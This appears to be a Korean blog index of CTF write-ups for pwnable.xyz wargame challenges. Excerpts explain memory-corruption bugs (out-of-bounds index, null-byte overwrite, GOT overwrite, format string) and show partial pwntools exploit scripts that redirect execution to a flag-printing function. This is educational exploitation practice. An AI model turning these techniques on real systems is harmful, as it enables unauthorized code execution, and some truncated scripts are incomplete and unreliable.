본문 바로가기

pwn/pwnable.xyz

(39)
pwnable.xyz / Jmp table 힙 할당 힙 해제 쓰기 읽기 exit 각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다 할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다 size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다 from pwn import * p = process("./jmp_table") def do_malloc(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"Size: ") p.sendline(str(length)) do_malloc(0x400A31) p.recvuntil(b"> ") p.sendline(b"-2") p.interactive()
pwnable.xyz / TLSv00 입력한 크기만큼 key를 생성 ( generate_key 호출 ) flag를 key로 xor ( load_flag 호출 ) print flag 호출 최대 64자리까지 난수를 생성해서 key에 저장한다 이때 strcpy로 key에 복사하기 때문에 널바이트가 do_comment의 첫 바이트를 덮어 real_print_flag를 호출해서 xor된 flag를 릭할 수 있다 strcpy로 key에 널 바이트가 저장되는 걸 이용해서 1byte씩 뽑아냈다 from pwn import * #context.log_level = "debug" def regen_key(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"key len: ") p.sendline(str(l..
pwnable.xyz / free spirit 제목만 보고서는 house of spirit인줄 알았다...ㅎㅎ 스택 영역에 저장된 힙에 0x20만큼 데이터를 받음 힙 주소가 저장된 스택 주소를 출력한다 힙 주소를 저장하고 있는 스택 - 8 주소에 힙영역에 쓴 데이터를 저장 스택 주소를 릭 가능하고 3번을 통해 힙 주소가 저장된 스택 영역을 덮으면 aaw가 발생한다 릭한 주소로 ret주소 계산해서 win함수 출력한다 exploit 코드는 아래 더보기 더보기 from pwn import * p = process("./free_spirit") #gdb.attach(p) win = 0x400a3e def write(data): p.recvuntilb("> ") p.sendline(b"1") sleep(0.1) p.send(data) def aaw(): p...
pwnable.xyz / two_target 값을 역연산하던가 아님 aaw로 풀 수 있는것 같다 당연히 aaw로 풀었다 ( 역연산은 어려워.... ) 인적사항을 쓰고 변경할 수 있다 ( 각기능은 아래와 같음 ) 이름을 입력 (auth에서 비교할 key 값) 나이를 입력 ( aaw할 주소 씀 ) 국적을 변경 ( 주소에 쓸 값 ) get shell ( auth함수로 검증하고 참이면 win함수로 flag를 출력한다 ) partial RELRO가 걸려있어서 got overwrite이 가능하다 aaw로 strncmp함수 got를 win함수의 got로 overwrite한 뒤 4번으로 auth함수에 있는 strncmp함수를 호출해서 flag가 출력되도록 했다 from pwn import * p = process("./two_target") def ch_nat(..
pwnable.xyz / xor oob가 터진다 oob가 가능하더라도 FULL RELRO가 걸려있어서 뭘 할 수가 없다 바이너리 보니까 mprotect가 왜 있나 싶었는데 .text영역에 rwx를 다준다 oob로 exit쪽 코드를 jmp win으로 수정해줬다 from pwn import * #p = remote("svc.pwnable.xyz", 30029) p = process("./xor") jump = -262887 def aaw(idx, data): p.recvuntil(" ") p.send(str(data ^ 1)) p.send(b" 1 ") p.sendline(str(idx)) aaw(jump, 0x458b48ffffff58e9) aaw(0, 0) p.interactive()
pwnable.xyz / note note를 수정하고 desc 수정 exit 원하는 만큼 길이만큼 데이터를 쓸 수 있다 buf에 저장된 주소에 데이터를 쓸 수 있다 edit_note에서 bof가 터져서 buf를 덮을 수 있다 edit_note로 buf를 원하는 함수의 got로 덮은 뒤 edit_desc로 got overwrite해서 win함수가 호출되도록해줬다 ( 서버가 닫혀있다.... ) h4pum@ubuntu:~/wargame/pwnable_xyz/note_file$ cat exploit.py from pwn import * #p = remote("svc.pwnable.xyz", 30016) p = process("./note") win = 0x40093C def edit_note(length, data): p.recvuntil(b"..
pwnable.xyz/GrownUp strcpy의 마지막에 추가되는 널바이트와 fsb를 사용하여 푸는 문제였습니다 buf에 0x10 크기의 데이터를 넣을 수 있고 src에 0x80크기에 데이터를 넣고 usr에 strcpy로 저장한 뒤 이를 printf로 출력하여 줍니다 해당 buf에 오직 1byte만을 가지고 검사가 이루어지기 때문에 그 이후로의 원하는 데이터를 스택에 밀어넣을 수 있다 0x80만큼의 데이터가 저장될 usr 영역을 보면 printf의 rdi에 저장되는 서식문자의 주소가 저장되어 있는 것을 확인할 수 있습니다 usr에 0x80만큼 데이터를 넣는다면 qword_601160에 저장된 첫 1바이트가 널이 되면서 usr+0x20의 위치가 rdi에 들어가게 되면서 fsb가 발생할 수 있습니다 from pwn import * p = r..